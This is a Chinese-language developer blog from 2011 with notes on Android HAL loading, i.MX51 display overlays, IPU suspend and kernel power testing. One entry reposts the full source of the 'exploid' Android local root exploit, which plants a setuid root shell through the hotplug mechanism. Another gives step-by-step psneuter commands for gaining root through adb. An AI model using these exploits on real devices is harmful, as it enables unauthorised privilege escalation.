ubuntu 在 R40e 上 還有 Debian 在 Sempron 2600 上

2011年8月24日 星期三

在FramebufferNativeWindow.cpp : FramebufferNativeWindow::FramebufferNativeWindow() : BASE(), fbDev(0), grDev(0), mUpdateOnDemand(false) { hw_module_t const* module; if (hw_get_module(GRALLOC_HARDWARE_MODULE_ID, &module) == 0) { int stride; int err; int i; err = framebuffer_open(module, &fbDev); LOGE_IF(err, "couldn't open framebuffer HAL (%s)", strerror(-err)); err = gralloc_open(module, &grDev); LOGE_IF(err, "couldn't open gralloc HAL (%s)", strerror(-err)); // bail out if we can't initialize the modules if (!fbDev || !grDev)

hw_get_module 是所有 hareware module 的 loading interface
hardware/libhardware/hardware.c


hw_get_module 其實就是依照 property set 的 module path, name ,要 dlopen 去 load 這個 so 近來。
在用 dlsym 取出 so 的 HAL_MODULE_INFO_SYM_AS_STR 這個 function 的 位址.

在這裡就是 .. GRALLOC_HARDWAE_MODULE_ID. ./hardware/libhardware/include/hardware/gralloc.h:36:#define GRALLOC_HARDWARE_MODULE_ID "gralloc" hw_get_module 會到3 個位置去找: /* Loop through the configuration variants looking for a module */ for (i=0 ; i< HAL_VARIANT_KEYS_COUNT+1 ; i++) { if (i < HAL_VARIANT_KEYS_COUNT) { if (property_get(variant_keys[i], prop, NULL) == 0) { continue; } snprintf(path, sizeof(path), "%s/%s.%s.so", HAL_LIBRARY_PATH1, id, prop); if (access(path, R_OK) == 0) break; snprintf(path, sizeof(path), "%s/%s.%s.so", HAL_LIBRARY_PATH2, id, prop); if (access(path, R_OK) == 0) break; } else { snprintf(path, sizeof(path), "%s/%s.default.so", HAL_LIBRARY_PATH1, id); if (access(path, R_OK) == 0) break; } } 其中 ..
./hardware/libhardware/hardware.c:31:#define HAL_LIBRARY_PATH1 "/system/lib/hw" ./hardware/libhardware/hardware.c:32:#define HAL_LIBRARY_PATH2 "/vendor/lib/hw"
的確在 ..
/system/lib/hw/
gralloc.imx5x.so

取出的 function 叫 HMI..
gralloc 的 hmi interface 定義是: static struct hw_module_methods_t gralloc_module_methods = { open: gralloc_device_open }; struct private_module_t HAL_MODULE_INFO_SYM = { base: { common: { tag: HARDWARE_MODULE_TAG, version_major: 1, version_minor: 0, id: GRALLOC_HARDWARE_MODULE_ID, name: "Graphics Memory Allocator Module", author: "The Android Open Source Project", methods: &gralloc_module_methods }, registerBuffer: gralloc_register_buffer, unregisterBuffer: gralloc_unregister_buffer, lock: gralloc_lock, unlock: gralloc_unlock, }, framebuffer: 0, flags: 0, numBuffers: 0, bufferMask: 0, lock: PTHREAD_MUTEX_INITIALIZER, currentBuffer: 0, pmem_master: -1, pmem_master_base: 0, master_phys: 0 };

iMX51 : display. fb & overlay

framebuffer 和 Overlay。
 @_@
------- framebuffer
------- overlay 0
------- overlay 1
------- overlay 2
overly 是在 frame buffer 的後面,所以設定 frame buffer 的 "穿透" 後,才可以看到 後面的 overlay。
所以 io control 上提供兩個 control code: struct mxcfb_gbl_alpha alpha; alpha.alpha = 255; alpha.enable = 1; if (ioctl(fd_fb, MXCFB_SET_GBL_ALPHA, &alpha) < 0) { printf("Set global alpha failed\n"); close(fd_fb); close(fd_capture_v4l); close(fd_output_v4l); return TFAIL; } enable 穿透 ... 完全穿透 -- 就是說 可以看到 下面的 overlay..

還有 struct mxcfb_color_key key; key.enable = 1; key.color_key = 0x00000000; // Black if(ioctl(fd_fb, MXCFB_SET_CLR_KEY, &key)<0) { printf("Error!Colorkey setting failed for dev\n"); close(fd_fb); close(fd_capture_v4l); close(fd_output_v4l); return TFAIL; } printf("set transparent color key to 0x0000000\n"); 設定 frame buffer 的 "穿透" 色。
這個 example code 設定 黑色 是穿透色,所以frame buffer 上黑色的部份才可以看到下面的 overlay。

2011年8月23日 星期二

onAudioFocusChange

Android 程式在 Audio 的切換提供 onAudioFocusChange 這個 callback class。
需要知道有其他 ap 要使用 Audio 的訊息,就要實做這個 class。

因為Android系統的設計,只有一個 program 是在 forground 反應訊息。
其他都會是在 pause state。
-- 這種 audio 衝突/共用 的時機大多是在 forground 與 background 共存得時候。
onAudioFocusChange 是implement 在 background service 的。
要發生動作,要

Android 程式系統

Android 的每個程式都是一個獨立的 process,一個由 jvm 執行的 java code。

java 缺少的就是 IPC,為此,android 設計了一個很大的framework來作到 process 間的通訊。



他把 Android 系統設計類似 message 驅動的系統。
message 在android 系統中稱作 intent。
每個程式就是負責接收/處理 message 的 handler (call back function)。

Android 中,要啟動一個程式,實際上是請 經由 framework 找到要啟動的 程式(class),請 dalvik load 起來,並且把 intent 交給那個 class。

每個程式(class)都可子把 intent 送給任一個 class (無論他是否已經 load 起來 run 了),
一旦另一個程式啟動 ,原來的程式就會被 push 到 task stack 中,等前方的程式結束,或是 back,才會被 pop 出來。

所以 android 的程式不是 由 main 進入,而是由 activity( ) 進入。
就這樣,整個 android 系統裡的 class,可以說是獨立,也可以說是整合在一起。



Task stack 的觀念,當stack 過深時,會發生 stack overflow,

android 設計的 memory 回收機制會把 stack 中XO 得 process 先回收。如果stack pop 到被回收的 task,android 會把他再 load 近來。

Android 的 Home 鍵,就是送 intent 給 HOME Launcher 程式,所以原程式會被 push 到 task stack。

Android 的 Back 鍵,就會把 process 結束(?),把 task stack 的程式 pop 出來。
-- 所以上次是 HOME Launcher 叫起來的程式,按下 back 鍵後,Launcher 會被叫回來。

所以 Android 系統好像沒有一個類似 shell 的 command console 和 program loader 等等。

第一個啟動的program,經由 " 送 intent 給其他 class,把 class run 起來", 串起整個系統...

2011年8月22日 星期一

c string function : strspn 比較字串..

int strspn(char *strA, char* pattern) 會把strA中,第一個不在 pattern 所包含的字元 位置 return 回來。
在 bionic 的 source 是: size_t strspn(const char *s1, const char *s2) { const char *p = s1, *spanp; char c, sc; /* * Skip any characters in s2, excluding the terminating \0. */ cont: c = *p++; for (spanp = s2; (sc = *spanp++) != 0;) if (sc == c) goto cont; return (p - 1 - s1); } 就是把 strA 的字元從頭一個一個和 pattern,所以找到不在 pattern 的就是答案了..
一般用: if(strspn(&filename,"0123456789") == strlen(&filename)) 來找出 完全是數字的 filename..

subversion with proxy, for servers outside

公司有自己的 subversion serve,對外有設 http_proxy,
所以co 內部 server 時,不用 http_proxy,對外才要用。
修改 .subversion/server [global] http-proxy-exceptions = *.lowtek.com, *.exception.com, www.internal-site.org http-proxy-host = 192.168.147.242 http-proxy-port = 3128 要注意,直接comment 掉開頭的 "#" 字,會有一個 space。
這樣會 complain " option option expected 所以不可以留 space.

2011年8月19日 星期五

camera interface, output & de-interlace

interfaced format 是在 capture 支援的。
de-interlaced 則是由 output 支援。
adv7180 - capture /camera_in 沒有改 driver,就可以自動辨識 UYVY_I 的 input format。
只是輸出會看到有橫紋的未 de-interlaced 畫面。
也就是說 field 可以正確解出。
de-interlace 要靠 output 來作。
Android 的 output 和 SurfaceView 綁在一起。 所以區分一下:
video output 和 camera capture。
video output 時,直接 不要title bar 可以:
寫在 AndroidManifest.xml : android:theme="@android:style/Theme.NoTitleBar" 或是,寫在 code:

所以要把tvin 程式改一下,看是用 jni 寫,還是寫成 standalone 程式,用 exec 來執行 (怎麼停? kill ?)
用現有的syscommand run tvin program,另外寫一個 kill tvin 的 c program。一樣用 syscommand 來run。

Sony Ericsson opensource site

sony erisson open source site:
http://opensource.sonyericsson.com
慘.. X10 mini /pro 的 kernel 沒有 enable iptable.

2011年8月17日 星期三

Input keyevent : send key by command

open source / linux 系統的開發環境就是有這樣的好處,有test tool,也有 source code。
key event 的注入程式: input

source code 在
frameworks/base/cmds/input/src/com/android/commands/input


是一個 java 程式,要用 dalvik run 起來,所以附一個 run script:
frameworks/base/cmds/input

# Script to start "input" on the device, which has a very rudimentary # shell. # base=/system export CLASSPATH=$base/framework/input.jar exec app_process $base/bin com.android.commands.input.Input $*
使用方法看 source code:
String command = args[0]; if (command.equals("text")) { sendText(args[1]); } else if (command.equals("keyevent")) { sendKeyEvent(args[1]); } else if (command.equals("motionevent")) { System.err.println("Error: motionevent not yet supported."); return; }
支援 text 和 keyevent 。

keyevent 的話..
private void sendKeyEvent(String event) { int eventCode = Integer.parseInt(event); long now = SystemClock.uptimeMillis(); Log.i("SendKeyEvent", event); try { KeyEvent down = new KeyEvent(now, now, KeyEvent.ACTION_DOWN, eventCode, 0); KeyEvent up = new KeyEvent(now, now, KeyEvent.ACTION_UP, eventCode, 0); (IWindowManager.Stub .asInterface(ServiceManager.getService("window"))) .injectKeyEvent(down, true); (IWindowManager.Stub .asInterface(ServiceManager.getService("window"))) .injectKeyEvent(up, true); } catch (RemoteException e) { Log.i("Input", "DeadOjbectException"); } }

就是把 event code 寫在後面:
#input keyevent code
.. 那 code 的 mapping 呢?

more root source : z4root

z4root 也是有source code 的,在 google code:
http://code.google.com/p/z4root/
有提到 "Sebastian Krahmer's rageagainstthecage" ,google 的話,會有一堆:
http://www.google.com.tw/search?hl=zh-TW&sa=X&ei=_y9LTt6MJ6WBsgKDg4TOCA&ved=0CBcQBSgA&q=Sebastian+Krahmer+RageAgainstTheCage&spell=1&biw=1366&bih=599

Another root program psneuter

上次那個好像不能 root 2.1 版,另一個版本似乎可以,在 github:
https://github.com/tmzt/g2root-kmod/tree/scotty2/scotty2/psneuter

使用方法好像是
C:\android\platform-tools>adb push psneuter /data/local/tmp
1426 KB/s (557962 bytes in 0.382s)

C:\android\platform-tools>adb shell chmod 777 /data/local/tmp/psneuter

C:\android\platform-tools>adb shell /data/local/tmp/psneuter
property service neutered.
killing adbd. (should restart in a second or two)

C:\android\platform-tools>adb shell
-- 大概就是讓 adb service run 在 root .


原來的 code 是 for htc G2,要是給 SE 用,好像要改一下
這一篇有人改了: http://forum.xda-developers.com/showthread.php?t=905183

Android : superuser.apk & su

Superuser.apk 原來是 CM 寫的:
https://github.com/CyanogenMod/android_packages_apps_Superuser

su 也是:
https://github.com/CyanogenMod/android_system_su


android root program : exploid

這篇含有source code: http://c-skills.blogspot.com/2010/07/android-trickery.html 好像是所有 android 都可以 root。

* 好像只能 root 1.6,
* 2.1 的寫在另一篇:http://r40eubuntu.blogspot.com/2011/08/another-root-program-psneuter.html
這還是有參考價值,
因為是 gpl,所以就把 code 貼出來:
 
/* android 1.x/2.x the real youdev feat. init local root exploit.
 * (C) 2009/2010 by The Android Exploid Crew.
 *
 * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
 * Or use /data/local/tmp if available (thx to ioerror!) It is important to
 * to use /sqlite_stmt_journals directory if available.
 * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
 * or use USB keys etc. This will invoke hotplug which is actually
 * our exploit making /system/bin/rootshell.
 * This exploit requires /etc/firmware directory, e.g. it will
 * run on real devices and not inside the emulator.
 * I'd like to have this exploitet by using the same blockdevice trick
 * as in udev, but internal structures only allow world writable char
 * devices, not block devices, so I used the firmware subsystem.
 *
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 *
 * Thx to all the TAEC supporters.
 */ 
#include <stdio.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <linux/netlink.h> 
#include <fcntl.h> 
#include <errno.h> 
#include <stdlib.h> 
#include <string.h> 
#include <string.h> 
#include <unistd.h> 
#include <sys/stat.h> 
#include <signal.h> 
#include <sys/mount.h> 
 
 
// CHANGE! 
#define SECRET "secret" 
 
 
void die(const char *msg) 
{ 
	perror(msg); 
	exit(errno); 
} 
 
 
void copy(const char *from, const char *to) 
{ 
	int fd1, fd2; 
	char buf[0x1000]; 
	ssize_t r = 0; 
 
	if ((fd1 = open(from, O_RDONLY)) < 0) 
		die("[-] open"); 
	if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) 
		die("[-] open"); 
	for (;;) { 
		r = read(fd1, buf, sizeof(buf)); 
		if (r < 0) 
			die("[-] read"); 
		if (r == 0) 
			break; 
		if (write(fd2, buf, r) != r) 
			die("[-] write"); 
	} 
 
	close(fd1); 
	close(fd2); 
	sync(); sync(); 
} 
 
 
void clear_hotplug() 
{ 
	int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC); 
	write(ofd, "", 1); 
	close(ofd); 
} 
 
 
void rootshell(char **env) 
{ 
	char pwd[128]; 
	char *sh[] = {"/system/bin/sh", 0}; 
 
	memset(pwd, 0, sizeof(pwd)); 
	readlink("/proc/self/fd/0", pwd, sizeof(pwd)); 
	if (strncmp(pwd, "/dev/pts/", 9) != 0) 
		die("[-] memory tricks"); 
 
	write(1, "Password (echoed):", 18); 
	memset(pwd, 0, sizeof(pwd)); 
	read(0, pwd, sizeof(pwd) - 1); 
	sleep(2); 
 
	if (strlen(pwd) < 6) 
		die("[-] password too short"); 
	if (memcmp(pwd, SECRET, strlen(SECRET)) != 0) 
		die("[-] wrong password"); 
 
	setuid(0); setgid(0); 
	execve(*sh, sh, env); 
	die("[-] execve"); 
} 
 
 
int main(int argc, char **argv, char **env) 
{ 
	char buf[512], path[512]; 
	int ofd; 
	struct sockaddr_nl snl; 
	struct iovec iov = {buf, sizeof(buf)}; 
	struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0}; 
	int sock; 
	char *basedir = NULL; 
 
 
	/* I hope there is no LD_ bug in androids rtld :) */ 
	if (geteuid() == 0 && getuid() != 0) 
		rootshell(env); 
 
	if (readlink("/proc/self/exe", path, sizeof(path)) < 0) 
		die("[-] readlink"); 
 
	if (geteuid() == 0) { 
		clear_hotplug(); 
		/* remount /system rw */ 
		if (mount("/dev/mtdblock0", "/system", "yaffs2", MS_REMOUNT, 0) < 0) 
			mount("/dev/mtdblock0", "/system", "yaffs", MS_REMOUNT, 0); 
		copy(path, "/system/bin/rootshell"); 
		chmod("/system/bin/rootshell", 04711); 
		for (;;); 
	} 
 
	printf("[*] Android local root exploid (C) The Android Exploid Crew\n"); 
 
	basedir = "/sqlite_stmt_journals"; 
	if (chdir(basedir) < 0) { 
		basedir = "/data/local/tmp"; 
		if (chdir(basedir) < 0) 
			basedir = strdup(getcwd(buf, sizeof(buf))); 
	} 
	printf("[+] Using basedir=%s, path=%s\n", basedir, path); 
	printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n"); 
 
	memset(&snl, 0, sizeof(snl)); 
	snl.nl_pid = 1; 
	snl.nl_family = AF_NETLINK; 
 
	if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) 
		die("[-] socket"); 
 
	close(creat("loading", 0666)); 
	if ((ofd = creat("hotplug", 0644)) < 0) 
		die("[-] creat"); 
	if (write(ofd, path , strlen(path)) < 0) 
		die("[-] write"); 
	close(ofd); 
	symlink("/proc/sys/kernel/hotplug", "data"); 
	snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c" 
	         "SUBSYSTEM=firmware%c" 
	         "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0); 
	printf("[+] sending add message ...\n"); 
	if (sendmsg(sock, &msg, 0) < 0) 
		die("[-] sendmsg"); 
	close(sock); 
	printf("[*] Try to invoke hotplug now, clicking at the wireless\n" 
	       "[*] settings, plugin USB key etc.\n" 
	       "[*] You succeeded if you find /system/bin/rootshell.\n" 
	       "[*] GUI might hang/restart meanwhile so be patient.\n"); 
	sleep(3); 
	return 0; 
} 
 
 

* 這篇的 code to html 是從 http://www.palfrader.org/code2html/code2html.html

2011年8月15日 星期一

這一段 不錯,紀錄一下,有空再trace..

某AP退出的時候.. E/ActivityThread( 2535): Activity com.rtek.DVDAp.DVDAp has leaked IntentReceiver com.rtek.DVDAp.DVDAp$ScreenReceiver@2afd2398 that was originally registered here. Are you missing a call to unregisterReceiver()? E/ActivityThread( 2535): android.app.IntentReceiverLeaked: Activity com.rtek.DVDAp.DVDAp has leaked IntentReceiver com.rltek.DVDAp.DVDAp$ScreenReceiver@2afd2398 that was originally registered here. Are you missing a call to unregisterReceiver()? E/ActivityThread( 2535): at android.app.LoadedApk$ReceiverDispatcher.(LoadedApk.java:756) E/ActivityThread( 2535): at android.app.LoadedApk.getReceiverDispatcher(LoadedApk.java:551) E/ActivityThread( 2535): at android.app.ContextImpl.registerReceiverInternal(ContextImpl.java:798) E/ActivityThread( 2535): at android.app.ContextImpl.registerReceiver(ContextImpl.java:785) E/ActivityThread( 2535): at android.app.ContextImpl.registerReceiver(ContextImpl.java:779) E/ActivityThread( 2535): at android.content.ContextWrapper.registerReceiver(ContextWrapper.java:318) E/ActivityThread( 2535): at com.rtek.DVDAp.DVDAp.onCreate(DVDAp.java:502) E/ActivityThread( 2535): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1047) E/ActivityThread( 2535): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:1611) E/ActivityThread( 2535): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:1663) E/ActivityThread( 2535): at android.app.ActivityThread.access$1500(ActivityThread.java:117) E/ActivityThread( 2535): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:931) E/ActivityThread( 2535): at android.os.Handler.dispatchMessage(Handler.java:99) E/ActivityThread( 2535): at android.os.Looper.loop(Looper.java:123) E/ActivityThread( 2535): at android.app.ActivityThread.main(ActivityThread.java:3683) E/ActivityThread( 2535): at java.lang.reflect.Method.invokeNative(Native Method) E/ActivityThread( 2535): at java.lang.reflect.Method.invoke(Method.java:507) E/ActivityThread( 2535): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:839) E/ActivityThread( 2535): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597) E/ActivityThread( 2535): at dalvik.system.NativeStart.main(Native Method) 這一段 不錯,紀錄一下,有空再trace..
postcore_initcall
bus_register

2011年8月12日 星期五

ipu 的部份,suspend 時存起來的 register: /* save double buffer select regs */ ipu_cha_db_mode_reg[0] = __raw_readl(IPU_CHA_DB_MODE_SEL(0)); ipu_cha_db_mode_reg[1] = __raw_readl(IPU_CHA_DB_MODE_SEL(32)); ipu_cha_db_mode_reg[2] = __raw_readl(IPU_ALT_CHA_DB_MODE_SEL(0)); ipu_cha_db_mode_reg[3] = __raw_readl(IPU_ALT_CHA_DB_MODE_SEL(32)); /* save triple buffer select regs */ ipu_cha_trb_mode_reg[0] = __raw_readl(IPU_CHA_TRB_MODE_SEL(0)); ipu_cha_trb_mode_reg[1] = __raw_readl(IPU_CHA_TRB_MODE_SEL(32)); /* save current buffer regs */ ipu_cha_cur_buf_reg[0] = __raw_readl(IPU_CHA_CUR_BUF(0)); ipu_cha_cur_buf_reg[1] = __raw_readl(IPU_CHA_CUR_BUF(32)); ipu_cha_cur_buf_reg[2] = __raw_readl(IPU_ALT_CUR_BUF0); ipu_cha_cur_buf_reg[3] = __raw_readl(IPU_ALT_CUR_BUF1); /* save current triple buffer regs */ ipu_cha_triple_cur_buf_reg[0] = __raw_readl(IPU_CHA_TRIPLE_CUR_BUF(0)); ipu_cha_triple_cur_buf_reg[1] = __raw_readl(IPU_CHA_TRIPLE_CUR_BUF(32)); ipu_cha_triple_cur_buf_reg[2] = __raw_readl(IPU_CHA_TRIPLE_CUR_BUF(64)); ipu_cha_triple_cur_buf_reg[3] = __raw_readl(IPU_CHA_TRIPLE_CUR_BUF(96)); /* save idamc sub addr regs */ idma_sub_addr_reg[0] = __raw_readl(IDMAC_SUB_ADDR_0); idma_sub_addr_reg[1] = __raw_readl(IDMAC_SUB_ADDR_1); idma_sub_addr_reg[2] = __raw_readl(IDMAC_SUB_ADDR_2); idma_sub_addr_reg[3] = __raw_readl(IDMAC_SUB_ADDR_3); idma_sub_addr_reg[4] = __raw_readl(IDMAC_SUB_ADDR_4); /* save sub-modules status and disable all */ ic_conf_reg = __raw_readl(IC_CONF); __raw_writel(0, IC_CONF); ipu_conf_reg = __raw_readl(IPU_CONF); __raw_writel(0, IPU_CONF); /* save buf ready regs */ buf_ready_reg[0] = __raw_readl(IPU_CHA_BUF0_RDY(0)); buf_ready_reg[1] = __raw_readl(IPU_CHA_BUF0_RDY(32)); buf_ready_reg[2] = __raw_readl(IPU_CHA_BUF1_RDY(0)); buf_ready_reg[3] = __raw_readl(IPU_CHA_BUF1_RDY(32)); buf_ready_reg[4] = __raw_readl(IPU_ALT_CHA_BUF0_RDY(0)); buf_ready_reg[5] = __raw_readl(IPU_ALT_CHA_BUF0_RDY(32)); buf_ready_reg[6] = __raw_readl(IPU_ALT_CHA_BUF1_RDY(0)); buf_ready_reg[7] = __raw_readl(IPU_ALT_CHA_BUF1_RDY(32)); buf_ready_reg[8] = __raw_readl(IPU_CHA_BUF2_RDY(0)); buf_ready_reg[9] = __raw_readl(IPU_CHA_BUF2_RDY(32));
uninit_channel MEM_PRP_VF_MEM 時,有寫到的 register: /* Reset the double buffer */ reg = __raw_readl(IPU_CHA_DB_MODE_SEL(in_dma)); __raw_writel(reg & ~idma_mask(in_dma), IPU_CHA_DB_MODE_SEL(in_dma)); reg = __raw_readl(IPU_CHA_DB_MODE_SEL(out_dma)); __raw_writel(reg & ~idma_mask(out_dma), IPU_CHA_DB_MODE_SEL(out_dma)); /* Reset the triple buffer */ reg = __raw_readl(IPU_CHA_TRB_MODE_SEL(in_dma)); __raw_writel(reg & ~idma_mask(in_dma), IPU_CHA_TRB_MODE_SEL(in_dma)); reg = __raw_readl(IPU_CHA_TRB_MODE_SEL(out_dma)); __raw_writel(reg & ~idma_mask(out_dma), IPU_CHA_TRB_MODE_SEL(out_dma)); /* case MEM_PRP_VF_MEM */ _ipu_ic_uninit_prpvf(); _ipu_vdi_uninit(); reg = __raw_readl(IPU_FS_PROC_FLOW1); __raw_writel(reg & ~FS_VF_IN_VALID, IPU_FS_PROC_FLOW1); /* misc */ __raw_writel(ipu_conf, IPU_CONF); 結果重點是最後的 clk_disable,只要clk 沒關,就resume 不起來..

Android configuration change -- additional Make rules

當變更 product configuration時,make 會有:
*** Build configuration changed: "imx51_bbg-eng-{en_US,fr_FR,it_IT,es_ES,de_DE,nl_NL,cs_CZ,pl_PL,ja_JP,zh_TW,zh_CN,ru_RU,ko_KR,nb_NO,
es_US,da_DK,el_GR,tr_TR,pt_PT,pt_BR,rm_CH,sv_SE,bg_BG,ca_ES,en_GB,fi_FI,hr_HR,hu_HU,
in_ID,iw_IL,lt_LT,lv_LV,ro_RO,sk_SK,sl_SI,sr_RS,uk_UA,vi_VN,tl_PH,hdpi,mdpi,nodpi}" -> "imx51_bbg-eng-{zh_TW,zh_CN,en_US,hdpi,nodpi}"
*** Forcing "make installclean"...
*** rm -rf 
out/target/product/imx51_bbg/data/*
out/target/product/imx51_bbg/data-qemu/* 
out/target/product/imx51_bbg/userdata-qemu.img
out/host/linux-x86/obj/NOTICE_FILES 
out/host/linux-x86/sdk 
out/target/product/imx51_bbg/*.img 
out/target/product/imx51_bbg/*.txt 
out/target/product/imx51_bbg/*.xlb 
out/target/product/imx51_bbg/*.zip 
out/target/product/imx51_bbg/data 
out/target/product/imx51_bbg/obj/APPS 
out/target/product/imx51_bbg/obj/NOTICE_FILES out/target/product/imx51_bbg/obj/PACKAGING 
out/target/product/imx51_bbg/recovery 
out/target/product/imx51_bbg/root 
out/target/product/imx51_bbg/system 
out/target/product/imx51_bbg/dex_bootjars out/target/product/imx51_bbg/obj/JAVA_LIBRARIES
*** Done with the cleaning, now starting the real build.
好像 out/target/product/imx51_bbg 下的都刪掉了呀.

Xperia X10 mini pro : PC company download location

買了二手的 X10 mini pro (3200+100)。
PC company 這麼難找:
http://www.sonyericsson.com/cws/support/mobilephones/downloads/subject/pccompanion/xperiax10minipro?cc=gb&lc=en

還有 xda 有關 x10 mini (pro) 的位置:
http://forum.xda-developers.com/forumdisplay.php?f=727

2011年8月11日 星期四

./include/linux/ipu.h:148:#define IPU_CHAN_ID(ch) (ch >> 24) 對應 data sheet register field, channel field 是第 24 bit 開始。 然後是 channel name 定義: MEM_ROT_ENC_MEM = _MAKE_CHAN(1, 45, NO_DMA, NO_DMA, 48), MEM_ROT_VF_MEM = _MAKE_CHAN(2, 46, NO_DMA, NO_DMA, 49), MEM_ROT_PP_MEM = _MAKE_CHAN(3, 47, NO_DMA, NO_DMA, 50), MEM_PRP_ENC_MEM = _MAKE_CHAN(4, 12, 14, 17, 20), MEM_PRP_VF_MEM = _MAKE_CHAN(5, 12, 14, 17, 21), MEM_PP_MEM = _MAKE_CHAN(6, 11, 15, 18, 22), MEM_DC_SYNC = _MAKE_CHAN(7, 28, NO_DMA, NO_DMA, NO_DMA), MEM_DC_ASYNC = _MAKE_CHAN(8, 41, NO_DMA, NO_DMA, NO_DMA), MEM_BG_SYNC = _MAKE_CHAN(9, 23, NO_DMA, 51, NO_DMA), MEM_FG_SYNC = _MAKE_CHAN(10, 27, NO_DMA, 31, NO_DMA), MEM_BG_ASYNC0 = _MAKE_CHAN(11, 24, NO_DMA, 52, NO_DMA), MEM_FG_ASYNC0 = _MAKE_CHAN(12, 29, NO_DMA, 33, NO_DMA), MEM_BG_ASYNC1 = _MAKE_ALT_CHAN(MEM_BG_ASYNC0), MEM_FG_ASYNC1 = _MAKE_ALT_CHAN(MEM_FG_ASYNC0), DIRECT_ASYNC0 = _MAKE_CHAN(13, NO_DMA, NO_DMA, NO_DMA, NO_DMA), DIRECT_ASYNC1 = _MAKE_CHAN(14, NO_DMA, NO_DMA, NO_DMA, NO_DMA), CSI_MEM0 = _MAKE_CHAN(15, NO_DMA, NO_DMA, NO_DMA, 0), CSI_MEM1 = _MAKE_CHAN(16, NO_DMA, NO_DMA, NO_DMA, 1), CSI_MEM2 = _MAKE_CHAN(17, NO_DMA, NO_DMA, NO_DMA, 2), CSI_MEM3 = _MAKE_CHAN(18, NO_DMA, NO_DMA, NO_DMA, 3), CSI_MEM = CSI_MEM0, CSI_PRP_ENC_MEM = _MAKE_CHAN(19, NO_DMA, NO_DMA, NO_DMA, 20), CSI_PRP_VF_MEM = _MAKE_CHAN(20, NO_DMA, NO_DMA, NO_DMA, 21), MEM_VDI_PRP_VF_MEM_P = _MAKE_CHAN(21, 8, 14, 17, 21), MEM_VDI_PRP_VF_MEM = _MAKE_CHAN(22, 9, 14, 17, 21), MEM_VDI_PRP_VF_MEM_N = _MAKE_CHAN(23, 10, 14, 17, 21), MEM_PP_ADC = CHAN_NONE, ADC_SYS2 = CHAN_NONE, 還有 _MAKE_CHAN 是: #define _MAKE_CHAN(num, v_in, g_in, a_in, out) \ ((num << 24) | (v_in << 18) | (g_in << 12) | (a_in << 6) | out) 所以第一個 field 就是 channel nummber.
現在發現 enable tvin 時,會 init channe:
15, 10, 22, 21, 23, 
其中 22,21,23 在 suspend 時好像沒有 uninit..

在 ipu_suspend 的地方加上 : //ipu_disable_channel(MEM_VDI_PRP_VF_MEM_P, true); //ipu_uninit_channel (MEM_VDI_PRP_VF_MEM_P); ipu_disable_channel(MEM_VDI_PRP_VF_MEM, true); ipu_uninit_channel (MEM_VDI_PRP_VF_MEM); //ipu_disable_channel(MEM_VDI_PRP_VF_MEM_N,true);
發現 MEM_VDI_PRP_VF_MEM 才是重點。

MEM_VDI_PRP_VF_MEM/_P/_N 這三個 channel 是在 mxc_v4l2_streamon 時,init_VDI_channel 的時候 init。
因為是 interlaced ,所以會額外 init _P/_N 這兩個 channel。

在 mxc_v4l2out_streamoff 時,會把這三個 channel disable。
LF - html mode 有作用嗎? 換兩行?
br
有效
pre:
大於符號 > . >
小魚 < . < 一起 <  > < >
code: 大於 > . > 小於 < . < 一起 < > > > 縮 排 也
option [1]1 [2] 2 1! 3 ads sss kkk
a
 b
   c

Suspend Test funtions in Kernel

Power manager options [*] Power Management Debug Support [*] Verbose Power Management debugging [*] Suspend to RAM and standby [*] Test suspend/resume and walealarm during bootup 上面幾個 option 打開。這樣 config 就會有 CONFIG_PM_DEBUG=y CONFIG_PM_VREBOSE=y CONFIG_PM_TEST_SUSPEND=y 這樣,在 kernel/power 下 main.c: static struct attribute * g[] = { &state_attr.attr, #ifdef CONFIG_PM_TRACE &pm_trace_attr.attr, #endif #ifdef CONFIG_SUSPEND_DEVICE_TIME_DEBUG &device_suspend_time_threshold_attr.attr, #endif #ifdef CONFIG_PM_SLEEP &pm_async_attr.attr, #ifdef CONFIG_PM_DEBUG &pm_test_attr.attr, #endif #ifdef CONFIG_USER_WAKELOCK &wake_lock_attr.attr, &wake_unlock_attr.attr, #endif #endif NULL, }; 可以看到每個 option 增加的 entry. CONFIG_PM_DEBUG,就會有 pm_test_attr 這個 entry 宣告的 pm_test_attr 有: #ifdef CONFIG_PM_DEBUG int pm_test_level = TEST_NONE; static const char * const pm_tests[__TEST_AFTER_LAST] = { [TEST_NONE] = "none", [TEST_CORE] = "core", [TEST_CPUS] = "processors", [TEST_PLATFORM] = "platform", [TEST_DEVICES] = "devices", [TEST_FREEZER] = "freezer", }; static ssize_t pm_test_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) { char *s = buf; int level; for (level = TEST_FIRST; level <= TEST_MAX; level++) if (pm_tests[level]) { if (level == pm_test_level) s += sprintf(s, "[%s] ", pm_tests[level]); else s += sprintf(s, "%s ", pm_tests[level]); } if (s != buf) /* convert the last space to a newline */ *(s-1) = '\n'; return (s - buf); } static ssize_t pm_test_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buf, size_t n) { const char * const *s; int level; char *p; int len; int error = -EINVAL; p = memchr(buf, '\n', n); len = p ? p - buf : n; mutex_lock(&pm_mutex); level = TEST_FIRST; for (s = &pm_tests[level]; level <= TEST_MAX; s++, level++) if (*s && len == strlen(*s) && !strncmp(buf, *s, len)) { pm_test_level = level; error = 0; break; } mutex_unlock(&pm_mutex); return error ? error : n; } power_attr(pm_test); #endif /* CONFIG_PM_DEBUG */ 所以在 /sys/power 下會多一個 pm_test。 